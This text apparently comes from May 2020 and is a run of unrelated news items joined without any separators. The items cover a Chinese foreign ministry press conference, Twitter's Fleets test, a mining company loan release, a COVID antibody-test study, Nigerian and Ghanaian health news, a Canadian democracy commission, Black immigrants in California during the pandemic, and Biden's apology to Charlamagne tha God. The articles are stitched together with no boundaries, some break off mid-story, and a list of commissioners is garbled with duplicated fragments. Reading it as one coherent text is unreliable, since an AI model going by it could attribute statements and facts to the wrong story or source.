Zhao Lijian: We note relevant reports. China deeply regrets the US insistence on withdrawing from the Treaty on Open Skies regardless of opposition from the international community. This decision, following the US practice of walking away from international commitments in recent years, is just another proof of its entrenched Cold War mindset, pursuit of "America First" and unilateralism, and contempt for international commitments.

This decision will not help maintain military-to-military mutual trust and transparency between regional countries, neither will it be conducive to regional security and stability. It will negatively affect the international arms control and disarmament process.

China Daily: The Heritage Foundation, an American think tank, released a report titled "Government Buildings in Africa Are a Likely Vector for Chinese Spying." I wonder if you have any comment on that?

Zhao Lijian: We noted the report. It hypes up "China bugging AU headquarters" and other ridiculous claims based on nothing but lies, illusions and ideological bias. African leaders publicly refuted such rumors on multiple occasions.

Facts speak louder than words. As Africa's good friend, partner and brother and based on the need of the African side, China has been conducting practical and efficient cooperation with African countries. Our cooperation outcomes, which include a large number of infrastructure projects, have brought tangible benefits to the African people and created favorable conditions for cooperation between Africa and international partners. Since COVID-19 cases were reported in Africa, China has been assisting African countries through various means. In his recent remarks delivered at the virtual opening ceremony of the 73rd World Health Assembly, President Xi Jinping announced China's new measures to support Africa in fighting the virus. Our cooperation with Africa is above board and substantive, demonstrating the vision of a China-Africa community with a shared future, which has won high acclaim from the African side.

We urge certain think tank in the US to spend more time and energy on assisting Africa with real actions instead of spreading lies. The African people have a fair judgment. Attempts to drive a wedge between China and Africa in their friendly cooperative relations will only lead to self-inflicted humiliation.

Xinhua News Agency: According to some mainstream media in the US, a top Florida Department of Health data manager lost her role because she sticks to keeping information open and transparent and refused to manually change data to drum up support for the reopening plan. Also, a graph on the website of the Georgia Department of Health showed a downward trajectory in new cases for two weeks, an illusion created by listing dates in an non-chronological order and sorting data in an incorrect way. What is your comment?

Zhao Lijian: We note relevant reports. The US media have disclosed a lot of information on the US administration covering up the real situation. The US side should give a clear explanation.

Shenzhen TV: Alice G. Wells, US Principal Deputy Assistant Secretary in charge of South and Central Asian Affairs, said on May 20 at a press conference that China has offered predatory and unfair lending to Pakistan under the CPEC, with a lack of transparency involved, and Chinese companies have continued to gain profit. In the meantime, she added the US hopes Nepal will accept the $500 million loan from the Millennium Challenge Corporation program, suggesting only that will prove it does not take dictation from China. Do you have any comment?

Zhao Lijian: This is not the first time that Ms. Wells aired such remarks. The US practice of distorting and slandering the mutually-beneficial cooperation between China and South Asian countries has once again laid bare its arrogance, prejudice, selfishness and narrow-mindedness. As good neighbors, friends and partners, China and South Asian countries have always treated each other with mutual respect and equality for common development. China has all along aimed to help relevant countries to enhance their capabilities for self-reliant development, and provide financial support and engage in cooperation projects based on their development needs. We have never imposed our will on others or attached any political strings, still less asked them to prove anything by taking any action.

AFP: US President Trump said that he will address a potential national security law for Hong Kong very strongly if it is passed. A small number of US Senators have also introduced legislation to impose sanctions on any entity that curbs Hong Kong's autonomy. Do you have any comment on this?

Zhao Lijian: National security is a basic prerequisite for countries to survive and thrive. No country in the world would tolerate separatist and other activities that undermine national security within its territory. Hong Kong is China's special administrative region, and any legislation for Hong Kong SAR to safeguard national security is China's internal affair that allows no foreign interference. The Chinese government is determined in safeguarding national sovereignty, security and development interests. It is determined in implementing the "one country, two systems" principle and opposing external interference in Hong Kong affairs.
Twitter said its test of disappearing tweets are being expanded after preliminary evidence that they help reduce harassment.

According to Twitter, after two months of testing, 'Fleets' - ephemeral tweets that disappear after 24 hours - will expand from Brazil to Italy.

Among the reasons for expanding the test, Twitter says, is some evidence that they help reduce the amount of harassment.

Today, Fleets come to Italy. So, what have we learned so far from the other test in Brazil? A few things: https://t.co/SsTupQrh48  Twitter Comms (@TwitterComms) May 21, 2020

'Its still *very early*, but were seeing less abuse with Fleets as only a small percentage are reported each day,' said Twitter communications in a tweet.

While Twitter hasn't provided much evidence of the feature's efficacy beyond that statement, the expansion marks a positive step for broader adoption.

The social media giant announced that it was testing the feature, which is similar to the ephemeral story posts on Instagram and Snapchat, earlier this year.

Instead of appearing on one's timeline, users can look at the 'Fleets' by tapping on someone's icon - yet another similarity to Instagram and Snapchat stories.

'Fleets' - a portmanteau of the words 'fleeting' and 'tweet' - cannot be retweeted or receive public responses, but instead can be interacted with through direct messages.

'People often tell us that they dont feel comfortable Tweeting because Tweets can be seen and replied to by anybody, feel permanent and performative (how many Likes & Retweets will this get!?). Many of us can probably empathize with this,' wrote Kayvon Beykpour, product lead at Twitter in a tweet announcing the feature.

'Weve been listening to this feedback and working to create new capabilities that address some of the anxieties that hold people back from talking on Twitter. Today, in Brazil only, were starting a test (on Android and iOS) for one of those new capabilities. Its called Fleets.'

The permanent record aspect of Twitter's timeline has lead to some public figures taking heat in recent years including stars like Kevin Hart, who was accused of penning homophobic tweets.

Likewise, director James Gunn was fired from his role by Disney during the filming of Guardians of the Galaxy 3 after tweets joking about rape and pedophilia surfaced.

Twitter said that even though 'Fleets' are ephemeral, they will be subject to all of the platform's community guidelines on harassment and hate speech.

The platform says it will keep a copy of the post for a 'limited time' after it disappears and users can report posts that they think violates its guidelines.

Twitter has released a variety of new features through the last year in an attempt to make its platform more user friendly and less prone to harassment and other toxic behavior.

Among the initiatives have been improved threading to make conversations easier to read and also a revamped set of community guidelines.
The Director-General of the Nigeria Centre for Disease Control, Dr Chikwe Ihekweazu, has asked churches, mosques and organizations in Nigeria to submit guidelines for reopening.

Ihekweazu stated this in Abuja at the press conference of the Presidential Task Force on COVID-19 on Thursday.

Also Read: Why Some Covid-19 Patients Dance In Isolation Centres: NCDC DG

The NCDC boss disclosed that the center received a draft of guidelines on Wednesday by the Public Transport Owners of Nigeria Association to reopen interstate transportation while curbing the spread of the coronavirus.

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He added that as the government prepares to ease more phases of lockdown in the coming weeks, organizations should come up with similar guidelines to expedite the process of safely reopening the economy.
VANCOUVER, BC / ACCESSWIRE / May 22, 2020 / Aztec Minerals Corp. (AZT.V)(AZZTF) ("Aztec" or the "Company") announces it has arranged an aggregate of CAD$60,000 in loans from two insiders and a strategic investor. Each loan bears interest at a rate of 12% per annum, payable on maturity, and has a term of 6 months, provided that the Company may prepay without penalty. Subject to regulatory approval, a loan bonus totaling 300,000 warrants will be issuable to the lenders, with each warrant being exercisable to acquire one common share at an exercise price of $0.20 for a period of one year.

Funds from the loans will be used for working capital purposes.

The loans and related loan bonus constitute "related party transactions" pursuant to Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101"), as two of the lenders, Bradford Cooke and James Schilling, are directors of the Company. The Company is exempt from the requirements to obtain a formal valuation or minority shareholder approval in connection with loans in reliance on the exemptions contained in sections 5.5(a) and 5.7(1)(a) of MI 61-101, respectively, as the fair market value of the transaction does not exceed 25% of the Company's market capitalization. The loans and related loan bonuses have been reviewed and approved by a majority of the independent directors of the Company.

"Joey Wilkins"

____________________________

Joey Wilkins, Chief Executive Officer

Aztec Minerals Corp.

About Aztec Minerals - Aztec is a mineral exploration company focused on the discovery of large gold-copper deposits in the Americas. Our core asset is the prospective Cervantes porphyry gold-copper property in Sonora, Mexico. The historic, district-scale Tombstone properties host both bulk tonnage epithermal gold-silver as well as CRD silver-lead-zinc mineralization in Cochise County, Arizona. Aztec's shares trade on the TSX-V stock exchange (symbol AZT) and on the OTCQB (symbol AZZTF).

Story continues

Contact Information - For more information, please contact:

Joey Wilkins, President and CEO or Bradford Cooke, Chairman

Tel: (604) 685-9770

Fax: (604) 685-9744

Email: joey@aztecminerals.com

Website: www.aztecminerals.com

Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein.

Forward-Looking Statements:

Certain statements contained in this press release may constitute forward-looking statements under Canadian securities legislation. Generally, forward-looking information can be identified by the use of forward-looking terminology such as "expects" or "it is expected", or variations of such words and phrases or statements that certain actions, events or results "will" occur.

These forward-looking statements are subject to a number of risks and uncertainties. Actual results may differ materially from results contemplated by the forward-looking statements. Factors that could cause actual results to differ materially from those in forward-looking statements include matters relating to receipt of regulatory approval. Accordingly, the actual events may differ materially from those projected in the forward-looking statements. When relying on forward-looking statements to make decisions, investors and others should carefully consider the foregoing factors and other uncertainties and should not place undue reliance on such forward-looking statements. The Company does not undertake to update any forward-looking statements, except as may be required by applicable securities laws.

SOURCE: Aztec Minerals Corp.





View source version on accesswire.com:

https://www.accesswire.com/591089/Aztec-Arranges-60000-in-Working-Capital-Loans




Testing for those who have developed antibodies against the coronavirus can help tackle the ongoing COVID-19 pandemic. Now, a new study has identified all the antibody tests available for the coronavirus disease (COVID-19) to determine which performs better and is more accurate.

While the world is starting to reopen businesses and ease restrictions, health experts believe that antibody testing can help de-escalate public health measures while maintaining epidemiological vigilance. Identifying people with severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) immunity and estimating their proportion in the entire population, may guide governments in planning for a return to normalcy.

What is antibody testing?

Also called a serological test, an antibody test is designed to detect antibodies produced in response to a virus. The test relies on testing the blood to check for past infection.

Antibodies are proteins that help fight off infections. These are specialized protein molecules that the immune system produces in response to foreign invaders, called antigens.

B-cells, also known as B lymphocytes, produce antibodies, which are Y-shaped structures that bind with a matching site on antigens. They neutralize and kill the antigens to prevent infection. When a person develops antibodies against a specific virus, the body will have the ability to ward it off if he or she gets exposed again.

Antibody and virus - visual concept of the immune system. Illustration Credit: Peter Schreiber / Shutterstock

Antibody testing amid the coronavirus pandemic will help identify immune people, including healthcare workers who can go back to work without risking their health or that of others. It can also guide health officials in deciding when to reopen borders and monitoring the development of herd immunity.

Serological tests

The coronavirus health crisis, which emerged in late December 2019, has spread across the world, infecting over 5 million people. Antibody testing is a valuable tool to combat COVID-19.

The researchers at the University of Thessaly in Greece and the University of Cyprus aimed to summarize the available evidence on all the antibody-tests for SARS-CoV-2.

In a study, published in the journal Diagnostics, the researchers conducted a systematic review and meta-analysis of studies about antibody testing in online sources such as PubMed, medRxiv, and bioRxiv. The team evaluated IgM and IgG tests based on various serological tests, including the Enzyme-linked immunosorbent assay (ELISA), Chemiluminescence Enzyme Immunoassays (CLIA), Fluorescence Immunoassays (FIA), and the Lateral Flow Immunoassays (LFIA).

Pooled sensitivity of antibody tests obtained from meta-analysis.

The researchers identified 38 studies that contain data from nearly 8,000 participants. The team found that tests using the S antigen are more sensitive than N antigen-based tests. Further, they noted that IgG tests had better results compared to IgM tests, showing better sensitivity when the samples were taken long after the onset of the symptoms.

The team also revealed that combining the IgG and IgM tests is a better method in terms of sensitivity. However, all the test methods had a high specificity. Two tests, the ELISA and LFIA, reached specificity levels of 99 percent.

"ELISA tests could be a safer choice at this stage of the pandemic. LFIA tests are more attractive for large seroprevalence studies but show lower sensitivity, and this should be taken into account when designing and performing seroprevalence studies," the researchers wrote in the paper.

Return to normalcy

When accurate and useful antibody tests become widely available, the results will show how many people had COVID-19 and have recovered, including those who are asymptomatic. Testing may identify who might have immunity and can help in contact tracing to assess who else is at risk of infection. Further, it will help determine how far the virus has spread, guiding interventions in case the virus resurfaces in the future.

All the data gathered through antibody testing will help improve strategies to curb the coronavirus pandemic and help nations to return to normal.

The non-pharmacological interventions for COVID-19 include social distancing measures, increasing testing rates, contact tracing, ban of mass gatherings, movement restrictions, and school closures. Though these are effective, they could have tremendous societal and economic consequences.

Antibody testing can help reduce the negative impacts of the pandemic since it can determine who is immune to the virus, who can return to work, and if herd immunity has been attained.

The World Health Organization (WHO), however, emphasizes that there is still no evidence that people who were infected with the novel coronavirus are immune.

Many countries today are testing for SARS-CoV-2 antibodies. Though the WHO supports these studies to understand the extent of the outbreak, it does not recommend it to be used as a form of immunity passport, which can enable people to travel or return to work, assuming that they are protected against re-infection.
Television actor Karanvir Bohra jokingly whacked his wife Teejay Sidhu with a broom for a TikTok video, but his daughter Bella was not amused. Teejay shared a video, in which Bella expresses her unhappiness with Karanvir and asks him, Why did you hit mom?

In the video, Karanvir is seen trying to kiss his daughter as they watch something on the phone together. However, she pushes him away and says, Dont kiss me. Why did you hit mom? He then shows the viewers the video in question, which is meant to be a funny TikTok video.

However, Bella remains unconvinced and says, Im not happy now. I am mad because you hit mom. Dont do it next time. She then makes Karanvir apologise to Teejay.

He made a TikTok video where he jokingly whacked me with a broom! She saw the video in his phone and asked him, Why did you hit Mom? Shes not happy now! @TwinBabyDiaries, Teejay wrote in her caption.

Fans showered love on the adorable video. How concerned is our belli. So so cute, wrote one. So mature to understand so sensitive topic ! Bella have so pure heart . Her anger in last words clearly describes she knows thats not right, Although as adults we know this was just a fun video, another wrote.

Also read | Ghoomketu movie review: Nawazuddin Siddiquis creaky comedy shows signs of age

Meanwhile, Karanvir and his family are doing their bit to ameliorate the impact of the coronavirus pandemic. His parents Mahendra Bohra and Madhu Bohra are helping the needy by preparing 101 hot meals every day.

My mom has always been doing seva. Now, since the lockdown, they have been preparing hot meals everyday both for lunch and dinner for the homeless and migrant workers, he told Hindustan Times in a recent interview.

Follow @htshowbiz for more
Dr. Ashley Aldridge Wilson, principal at Nolan Elementary School, has been named the 2020 National Distinguished Principal from Tennessee by the Tennessee Principals Association. She is the only principal in Tennessee to receive the honor for 2020.



Officials said, "Dr. Wilson was awarded this honor for her collaborative leadership vision, which includes shared leadership at every level of a school, a collective focus on student achievement, reflective dialogue and learning, exemplary operating principles and open communication. She has 13 years of experience as an administrator in districts across Tennessee and has been principal at Nolan Elementary since 2018."



"I am truly humbled by this beautiful honor," said Dr. Wilson. "I feel incredibly blessed to serve our community and be a part of the Nolan family. This award speaks to Nolan's dynamic teachers who are deeply caring and talented, our students who give their best effort and have kind hearts, and our families who rally to support this special place."



"At Nolan Elementary, Dr. Wilson has cultivated a positive climate and culture by building relationships with students, staff, families and community members," officials said. "Nolan's faculty collaborates to define and agree upon operating principles, a vision and shared norms and values about teaching and learning.

"Dr. Wilson believes each child deserves individualized support and has worked to provide a master schedule that provides daily intervention and enrichment time for every grade level at Nolan Elementary.

"She has also engaged numerous community partners to provide support for students and staff. The support included donations to help educate children and training more than 125 volunteers to assist with school needs."



Dr. Wilson has completed numerous leadership growth opportunities, including the Public Education Foundation's Leadership Fellows Program, the Tennessee STEM Innovation Network's Innovative Leaders Institute and served as a member of the Tennessee Department of Education's Tennessee STEM Leadership Council (2016-2018). She is currently working to become a Nationally Certified Mentor through the National Association of Elementary School Principals (NAESP) Mentoring Program to help develop other school leaders. Dr. Wilson earned a doctorate in learning and leadership from the University of Tennessee at Chattanooga in 2009.



The National Distinguished Principals Program, established in 1984, recognizes excellence in school leadership of elementary and middle-level principals. In October, Dr. Wilson will be honored as Tennessee's 2020 National Distinguished Principal at the National Distinguished Principals Awards Ceremony in Washington, D.C.








Dairy farmers are being urged to understand their milk buyer better as the coronavirus crisis has shone a spotlight on the fragility of the sector.

The Covid-19 pandemic has left many producers evaluating their businesses and assessing the vulnerability of their supply chains.

Looking to help farmers reeling amidst the crisis, a new dairy podcast has highlighted how they could better control their milk price.

The Milk Digest, by the Royal Association of British Dairy Farmers (RABDF), explained that farmers needed to better understand their milk buyer.

RABDF vice chairman Robert Craig said: Understanding your milk buyer and how exposed they are to a particular market is important.

"Farmers need to look at their business and their own set of skills and ask themselves whether they could cope with a big milk price drop if their primary purchaser was to lose their market."

Farmers needed to evaluate their options and think whether there is anywhere else they could send their milk better suited to their business, he said.

"Its about farmers really understanding their own skills and the vulnerability and exposure of their milk buyer."

Mr Craig, who farms across three sites in Cumbria and Northumberland, is a director of First Milk.

He noted that the co-operative model had weathered the coronavirus storm better than many largely due to the marketing of milk in different areas.

The business model at First Milk is working well with a domestic and export focus. Essentially the cooperative is marketing the milk for us," he explained.

Close to 50% of milk in the UK is now sold through a dairy cooperative. "If you look around the world all major milk-producing countries market their milk from a cooperative base.

RABDF chairman Peter Alvis added that for farmers to take back control of their milk price, better communication was needed throughout the supply chain.

There needs to be more cooperation between the farmer and processor to manage the volume of milk coming forward.

"There is not a lot of joined up thinking in the marketplace and we need a milk programme in front of us," he said.

Information travelling through the markets would allow farmers to know the implication of putting another 1000-cow dairy up, for example.

"We cannot just keep adding cows and producing more milk and expecting to maintain value, Mr Alvis warned.

The Milk Digest podcast covers the latest dairy industry news, business, and market matters as well as delving into some of the sector's topical affairs.

In the first episode guest speakers Peter Alvis, Robert Craig, and Neil Rowe discussed how farmers can take back control of their milk price.
[May 21, 2020] Announcing the launch of the Canadian Commission on Democratic Expression

OTTAWA, May 21, 2020 /CNW/ - In light of growing misinformation concerning public health, political disinformation, hate speech and targeted discrimination, the Public Policy Forum (PPF) announces the Canadian Commission on Democratic Expression. The annual Commission will develop policy options to directly address the harmful impacts of digital technologies on Canada's democratic institutions and public life. The Commission is supported by national citizen assemblies as well as by an independent research program led by the Centre for Media, Technology and Democracy at McGill University's Max Bell School of Public Policy. During the COVID-19 pandemic, Canadians have become even more reliant on digital technologies to communicate with friends and loved ones, pursue education, and participate in the economy. They also see how misinformation circulating on social media can influence behaviour and pose a direct and immediate threat to public health. In this way, the pandemic underscores the importance of this initiative and the value of its recommendations. Background

This initiative grew out of earlier insights about the relationship of digital technologies to Canada's democracy covered by the Public Policy Forum's ground-breaking report, The Shattered Mirror and its subsequent interdisciplinary research outlined in the Democracy Divided report (with UBC) and through the Digital Democracy Project partnership with McGill. The Challenge

Digital media and technologies broaden access to information, enable new forms of participation and reshape the economy. They also pose systemic challenges to democratic institutions and public life. Today, algorithms embedded in social media platforms work to shape our public and private lives. These technologies can compromise the quality of publicly available information, and increase the prevalence of hate speech and identity-based discrimination both online and off. The challenge is to maximize and safeguard the democratic potential of the digital public sphere while mitigating threats that pose significant harms. Structure

Each year, this initiative will bring together a small group of eminent Commissioners to develop recommendatios that address the democratic harms of digital technologies. Their work will be informed by an annual citizens' assembly and research managed by the Centre for Media, Technology and Democracy at McGill University.



Announcing the 2020 Commissioners

We are pleased to announce the participation of seven eminent Canadians who have agreed to serve as Commissioners. The Commissioners bring a range of perspectives and skills and have extensive experience in the areas of law, media, technology, citizen participation, and politics. Rick Anderson , Principal, Earnscliffe Strategy Group

, Principal, Earnscliffe Strategy Group Julie Caron-Malenfant , Director General, Institut du Nouveau Monde

, Director General, Institut du Nouveau Monde Adam Dodek , Dean, Faculty of Law, University of Ottawa

, Dean, Faculty of Law, Amira Elghawaby , Journalist & Human Rights Advocate

, Journalist & Human Rights Advocate Jameel Jaffer , Executive Director, Knight First Amendment Institute at Columbia University

, Executive Director, Knight First Amendment Institute at Jean La Rose , Former Chief Executive Officer, Aboriginal Peoples Television Network

Former Chief Executive Officer, Aboriginal Peoples Television Network The Right Honourable Beverley McLachlin , P.C., C.C., Former Chief Justice of Canada Announcing the 2020 Citizens' Assembly

Earlier this spring, 12,500 households across Canada received an invitation to volunteer to support the Commission by serving on a Citizens' Assembly. More than 450 Canadians volunteered, and 42 have been randomly selected to serve as citizen representatives. The Assembly will meet in Winnipeg and Ottawa over six days and advise the Commission on its values and priorities with respect to digital technology and democratic expression.

Announcing the 2020 Research Program

Led by McGill's Centre for Media, Technology and Democracy, the research program aims to inform the Commission and its stakeholders on key issues pertaining to democratic harms of digital technologies; to support the Commission's deliberations and the work of the citizen's assemblies, and to respond to their needs throughout the deliberative process. The research program will develop timely reports from international experts and disseminate results to the broader public on the following key issues for year one: Legal aspects of hate speech and freedom of expression in Canada

Technological infrastructure of online harm

The digital public sphere

Targeted online hate communication

Online hate and vulnerable communities

Public health misinformation and disinformation

Technologically-facilitated gender-based violence online Open Invitation for Submissions

To ensure that all interested members of the public and institutions have an opportunity to have their voice heard, the Commission will invite written submissions consistent with the areas of inquiry. Submissions will be accepted from July 1 to September 30, 2020. Details regarding how to make a written submission will be announced in late June via the PPF website. To learn more about this initiative and how Canada can chart a new course in public discourse, democratic expression and the use of digital technologies, please contact the Public Policy Forum. QUOTATIONS "The Commission is inspired in part by the 1960s Special Committee on Hate Propaganda in Canada, chaired by McGill University Law Dean Maxwell Cohen. It confronted a period marked by an upsurge of hate speech, studied the issue, deliberated, and issued recommendations that led to Canada's anti-hate laws. These issues now need to be revisited in light of the digital age."

Edward Greenspon, President and CEO of Public Policy Forum "The Commission has been constructed with true participation at its core: the public's voices and the experts, filling a gap on research not overseen by technology providers or a study's sponsoring party. We look forward to engagement across the spectrum and the valuable input both the Commissioners and the public will provide."

Michel Cormier, Executive Director of the Canadian Commission on Democratic Expression SOURCE Public Policy Forum

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Dr Benjamin Amoako, the Assin Central Municipal Director of the Ghana Health Service (GHS), has warned of dire health consequences if immediate steps are not taken to end the weeks of water shortage in the Municipality.



He indicated that the lack of reliable and portable water supply over the last three weeks was a drawback to Government's efforts to ensure reliable supply of water to encourage hand washing as part of measures to contain the spread of the Coronavirus pandemic.



Briefing the media on interventions to contain the spread of the virus in the area, the Municipal Director of Health said the situation had compelled residents to resort to wells and polluted rivers as their water sources.



The government in its bid to curb the spread of COVID-19 pledged to foot the water bills of Ghanaians for April, May and June 2020 to provide relief to all Ghanaians.



The President also directed water service providers to ensure a stable water supply during the period.



The Municipal Health Director explained that one of the cheapest, easiest, and most important ways to prevent the spread of a virus was to wash one's hands frequently with soap under running water.



The provision of safe water and sanitation should be regarded as a social good that protects the public from various diseases including outbreaks such as COVID-19.



Currently, the Coronavirus disease had become a Global Pandemic and the Health Director highlighted the importance of health protocols as directed by experts, including regular handwashing as one of the most effective ways of preventing the spread of the virus.



In that light, he called on government and all stakeholders, particularly the Ghana Water Company Limited (GWCL) to work hard in resolving the challenges and ensure people have water for all essential uses at this time.



However, some residents who spoke to the Ghana News Agency (GNA), said they had been drinking untreated water for weeks.



Narrating their ordeal, Mr Emmanuel Gyamfi, a resident of Bantama, said apart from the struggle they go through in search of unsafe water, they risked contracting water-borne diseases and even the corona virus.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
A Crisis on Two Fronts: Black Immigrants Face COVID-19 in California and Back Home

California is home to an estimated 11 million immigrants and many of them are Black  from Africa, Latin America, the Caribbean, Europe and other parts of the world.

According to the Black Alliance for Just Immigration (BAJI) at USC, immigrants make up 6.5 percent of Californias Black population. That figure has doubled since 1980.

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From Silicon Valley engineers and Hollywood celebrities to medical professionals, small store front owners, ride share drivers and hotel housekeepers, Black immigrants are as diverse as the general population in California.

They live in small clusters in inland valley towns and in larger ethnic enclaves in San Diego, San Francisco and Los Angeles  or they blend into suburban communities across the state, according to data collected by California Black Media to support its Census 2020 awareness mapping.

But many Black immigrants have been uniquely affected by the corona virus crisis. Like all Californians, they are dealing with the dangers of the disease and the economic and social uncertainties it has caused across the Golden State. At the same time, they are worried about how the global pandemic is affecting relatives back in their homelands.

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Across the United States and in California, large numbers of immigrants work in the healthcare field. Many more are other essential workers, toughing it out on the front lines working in the service industry or in medical, transportation and sanitation jobs.

In California, 35% of all healthcare professionals are immigrants, according to the Migration Policy Institute.

Mawata Kamara, who is originally from the West African country Liberia, works as an emergency room nurse in San Leandro, a suburb east of the San Francisco Bay in Alameda County. She said that her hospital currently sees about two to three COVID-19 patients a day.

According to Kamara, she gets confused trying to keep up with the governments guidance regarding the pandemic. For example, shes currently reusing N95 masks, which used to be forbidden, she says. She also gets a stream of emails with constant updates  sometimes conflicting news  about the virus itself, safety changes or how to treat the disease.

The general feeling of unpreparedness is everywhere, said Kamara.

As an African immigrant, Kamara says she sees the unique challenges that Black people, both immigrants and American-born Blacks, face in dealing with COVID-19. One of the reasons the disease has affected the Black community is because many people live in multi-generational families, Kamara says. This makes it very difficult to self-quarantine. Kamara said one of her African co-workers faced this situation when she contracted the disease and didnt want to take it back home where she lived with several relatives.

Self-quarantine is a luxury most people cant afford, she said.

Kamara has taken to changing her clothes in the garage and cleaning her shoes before she enters the home she shares with her daughter.

I dont think anyone wants to go to work and bring it back home, said Kamara.

Kamara is also concerned about her native country, Liberia, which has been affected by the disease. The country currently has more than 210 COVID-19 infections. About half the patients have survived. Twenty people have died from the disease.

Liberia, which has a underdeveloped healthcare system, was devastated by the Ebola pandemic which started in 2014 and resulted in more than 11,000 deaths. Kamara has advised family members who were visiting the country to return to the United States so they can have access to better quality health care.

Although coping with the challenges of COVID-19 is grueling for Black immigrants in California like Kamara who are naturalized citizens or have Green Cards, it is even more difficult for those who are undocumented. They did not qualify for the federal $1,200 stimulus payments the federal government has been sending out.

There are an estimated two million undocumented immigrants in California.

Earlier this month, Gov. Newsom announced a new $75 million California state program that will provide disaster relief to undocumented immigrants in payments of up to $1,000 per household. The program will begin on Monday May 25, and the money will be awarded on a first-come, first-serve basis. See the list below for organizations that will be distributing the money.

In Los Angeles, Lyndon Johnson is publisher of CaribPress, a publication that covers West Indian news and events in Southern California, around the United States and in the Caribbean. He is originally from Jamaica. Johnson said the disease presents a unique danger to people from his country because many of them also work in the healthcare field.

Johnson says some of them are his family members. One of my sisters is scared to go to work, he said.

Johnson said he recently participated in a Zoom meeting with members of the Jamaican diaspora who connected to talk about how COVID-19 is affecting them.

The island of Jamaica has also changed its rules to deal with the disease. Jamaica currently has more than 500 infections and nine deaths. Johnson said people coming in from certain countries are automatically quarantined.

The Jamaican economy, Johnson says, relies heavily on tourism, but COVID-19 has brought travel to his home country to a halt. According to the Caribbean Journal, Jamaica earned some $3.3 billion in 2018 from tourism.

Johnson said the Caribbean Comedy Series, one of the largest West Indian cultural events held in the Los Angeles area, had to be canceled this year. It was supposed to be held in March.

Many Caribbean community organizations in California and around the country organize annual health missions, where they return home and perform healthcare checkups. Those have all been canceled as well, said Johnson.

In San Diego, Chuol Tut, executive director of the South Sudanese Community Center in San Diego, said there are about 4,000 Sudanese (from both South Sudan and North Sudan) living in the San Diego area. He said they are attracted to the area because of the climate, which is similar to their homeland.

South Sudan is the worlds youngest country. It gained its independence in 2011 after years of conflict with Sudan, a country that is 97 percent Muslim. South Sudan is predominantly Christian.

Tut said the community has been impacted by the corona virus outbreak because many of them work in front-line jobs such as drivers, healthcare, casinos and housekeeping. Currently, many of them are out of work.

Tut said the center, located in East San Diego, is assisting some of them apply for unemployment benefits because some of them struggle with speaking English.

We try to help them as much as we can, he said.

COVID-19 has also affected the nation of South Sudan. According to Tut, there are currently more than 230 cases and one fatality. Also, the country is a major trading hub with a lot of visitors coming in from neighboring countries such as Kenya, Uganda and Ethiopia. Now the government has established a quarantine zone that stops anyone from coming into the East African county.

Back on the front lines of the crisis in California, Kamara says she believes we are not over the worse of the pandemic.

Thats why she is discouraged by protestors who are demanding businesses reopen. Kamara said too many Americans dont realize the dangers of COVID-19 because of misinformation.

Until thats addressed, people wont take it seriously, she said.

Undocumented Black immigrants who want to apply for Californias corona virus emergency assistance program should contact the following groups representing their area:

Northern California:

California Human Development Corporation

(707) 228-1338 www.californiahumandevelopment.org/

Covering Alpine, Amador, Butte, Calaveras, Colusa, Del Norte, El Dorado, Glenn, Humboldt, Lake, Lassen, Mendocino, Modoc, Napa, Nevada, Pleasure, Plumas,

Shasta, Sierra, Siskiyou, Solano, Sonoma Tehama, Trinity

Bay Area:

Catholic Charities of California

Alameda and Contra Costa: www.cceb.org

Marin, San Francisco, San Mateo: www.catholiccharitiessf.org/Santa Clara: www.catholiccharitiesscc.org/

Central Coast:

Mixteco / Indigena Community Organizing Project (MICOP) www.mixteco.org/drai/3

Santa Barbara: (805) 519-7776

Ventura: (805) 519-7774

Community Action Board Santa Cruz

(800) 228-6820 www.cabinc.org/

Covering Monterey, San Benito, San Luis Obispo, Santa Cruz

Central Valley:

United Farm Workers Foundation (UFWF)

(877) 527-6660 www.ufwfoundation.org

Covering Ash, Kern, Kings, Wood, Merced, Tulare and Mono

California Rural Legal Assistance Foundation (CRLAF)

(877) 557-0521 www.crlaf.org/drai

Covering Mariposa, Sacramento, San Joaquin, Stanislaus, Sutter, Tuolumne Yolo and Yuba

Los Angeles and Orange County:

Asian Americans Advancing Justice

(213) 241-8880 www.advancingjustice-la.org

Coalition for Humane Immigrant Rights (CHIRLA)

(213) 201-8700 www.chirla.org

Los Angeles Central American Resource Center (CARECEN) (213) 315-2659 www.carecen-la.org/

Inland Empire:

San Bernardino Community Service Center

(888) 444-0170, (909) 521-7535 www.sbcscinc.org Covering Inyo, Riverside, San Bernardino

TODEC Legal Center Perris

(888) 863-3291 www.TODEC.org

Covering Inyo, Riverside, San Bernardino

San Diego and Imperial County

Jewish Family Service of San Diego Imperial County: 760-206-3242 San Diego County: 858-206-8281
You can learn a lot about someone from an interview. But can you learn more over a drink? The Australia Letter introduces Beer With Bella, in which one reporter who hates beer but loves chatting meets interesting Australians over a beverage.

Sign up to get the newsletter in your inbox.

________

First Impression

Earlier this month, I clicked into a Zoom call, drink in hand, with Malcolm Turnbull, Australias 29th prime minister.

Malcolm was speaking from his Point Piper home in a crisp white shirt and blazer, looking unflappable. (My Zoom background was a scenic bamboo forest.)

A former investment banker known for his wealth, intellect and moderate conservative positions, Mr. Turnbull has written a book, A Bigger Picture, that is a meticulous, feud-by-feud accounting of his years in public life. It recounts his triumphs but also touches on the ideological factions among conservative lawmakers that ultimately led him to be the third leader ousted over climate change policy in recent years.
Joe Biden apologized to black business leaders for telling popular radio show host Charlamagne tha God that he 'ain't black' if he can't discern the better presidential candidate between Biden and President Trump.

'I should not have been so cavalier. I've never, never, ever taken the African-American community for granted,' Biden said, according to the Associated Press. 'I shouldn't have been such a wise guy.'

Biden added that, 'No one should have to vote for any party based on their race, their religion, their background,' on a conference call with the U.S. Black Chamber of Commerce Friday afternoon.

Among those who criticized Biden for what he said was Diddy, also known as Puff Daddy, tweeting, 'Aye bruh @JoeBiden I already told you the #BlackVoteAintFree.' President Trump and his surrogates also took advantage of Biden's gaffe.

Biden, the Democrats' presumptive presidential nominee, made the cringey comment to Charlamagne tha God at the end of a contentious 18-minute interview that aired Friday morning, where the former vice president was forced to defend his record supporting black Americans.

